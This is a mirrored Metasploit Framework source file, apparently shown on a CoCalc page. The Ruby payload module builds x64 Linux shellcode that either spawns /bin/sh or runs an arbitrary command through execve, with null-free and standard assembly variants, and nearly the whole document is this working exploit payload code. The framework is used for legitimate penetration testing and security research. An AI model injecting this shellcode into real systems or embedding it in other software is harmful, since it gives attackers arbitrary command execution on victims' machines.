CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x64/exec.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
8
CachedSize = 44
9
10
include Msf::Payload::Single
11
include Msf::Payload::Linux
12
13
def initialize(info = {})
14
super(merge_info(info,
15
'Name' => 'Linux Execute Command',
16
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
17
'Author' => ['ricky',
18
'Geyslan G. Bem <geyslan[at]gmail.com>'],
19
'License' => MSF_LICENSE,
20
'Platform' => 'linux',
21
'Arch' => ARCH_X64))
22
23
register_options(
24
[
25
OptString.new('CMD', [ false, "The command string to execute" ]),
26
])
27
register_advanced_options(
28
[
29
OptBool.new('NullFreeVersion', [ true, "Null-free shellcode version", false ])
30
])
31
end
32
33
def generate(opts={})
34
cmd = datastore['CMD'] || ''
35
nullfreeversion = datastore['NullFreeVersion']
36
37
if cmd.empty?
38
#
39
# Builds the exec payload which executes a /bin/sh shell.
40
# execve("/bin/sh", NULL, NULL)
41
#
42
if nullfreeversion
43
# 22 bytes (null-free)
44
payload = <<-EOS
45
mov rax, 0x68732f6e69622f2f
46
cdq ; edx = NULL
47
48
push rdx
49
push rax
50
push rsp
51
pop rdi ; "//bin/sh"
52
53
push rdx
54
pop rsi ; NULL
55
56
push 0x3b
57
pop rax
58
59
syscall ; execve("//bin/sh", NULL, NULL)
60
EOS
61
62
else
63
# 21 bytes (not null-free)
64
payload = <<-EOS
65
mov rax, 0x68732f6e69622f
66
cdq ; edx = NULL
67
68
push rax
69
push rsp
70
pop rdi ; "/bin/sh"
71
72
push rdx
73
pop rsi ; NULL
74
75
push 0x3b
76
pop rax
77
78
syscall ; execve("/bin/sh", NULL, NULL)
79
EOS
80
end
81
else
82
#
83
# Dynamically builds the exec payload based on the user's options.
84
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
85
#
86
pushw_c_opt = "dd 0x632d6866" # pushw 0x632d (metasm doesn't support pushw)
87
88
if nullfreeversion
89
if cmd.length > 0xffff
90
raise RangeError, "CMD length has to be smaller than %d" % 0xffff, caller()
91
end
92
if cmd.length <= 0xff # 255
93
breg = "bl"
94
else
95
breg = "bx"
96
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
97
cmd += " "
98
end
99
end
100
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
101
102
# 48 bytes without cmd (null-free)
103
payload = <<-EOS
104
mov rax, 0x68732f6e69622f2f
105
cdq ; edx = NULL
106
107
jmp tocall ; jmp/call/pop cmd address
108
afterjmp:
109
pop rbp ; *CMD*
110
111
push rdx
112
pop rbx
113
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
114
mov [rbp + rbx], dl ; NUL '\0' terminate cmd
115
116
push rdx
117
#{pushw_c_opt}
118
push rsp
119
pop rsi ; "-c"
120
121
push rdx
122
push rax
123
push rsp
124
pop rdi ; "//bin/sh"
125
126
push rdx ; NULL
127
push rbp ; *CMD*
128
push rsi ; "-c"
129
push rdi ; "//bin/sh"
130
push rsp
131
pop rsi ; ["//bin/sh", "-c", "*CMD*"]
132
133
push 0x3b
134
pop rax
135
136
syscall ; execve("//bin/sh", ["//bin/sh", "-c", "*CMD*"], NULL)
137
tocall:
138
call afterjmp
139
db "#{cmd}" ; arbitrary command
140
EOS
141
else
142
# 37 bytes without cmd (not null-free)
143
payload = <<-EOS
144
mov rax, 0x68732f6e69622f
145
cdq ; edx = NULL
146
147
push rax
148
push rsp
149
pop rdi ; "/bin/sh"
150
151
push rdx
152
#{pushw_c_opt}
153
push rsp
154
pop rsi ; "-c"
155
156
push rdx ; NULL
157
call continue
158
db "#{cmd}", 0x00 ; arbitrary command
159
continue:
160
push rsi ; "-c"
161
push rdi ; "/bin/sh"
162
push rsp
163
pop rsi ; ["/bin/sh", "-c", "*CMD*"]
164
165
push 0x3b
166
pop rax
167
168
syscall ; execve("/bin/sh", ["/bin/sh", "-c", "*CMD*"], NULL)
169
EOS
170
end
171
end
172
Metasm::Shellcode.assemble(Metasm::X64.new, payload).encode_string
173
end
174
end
175
176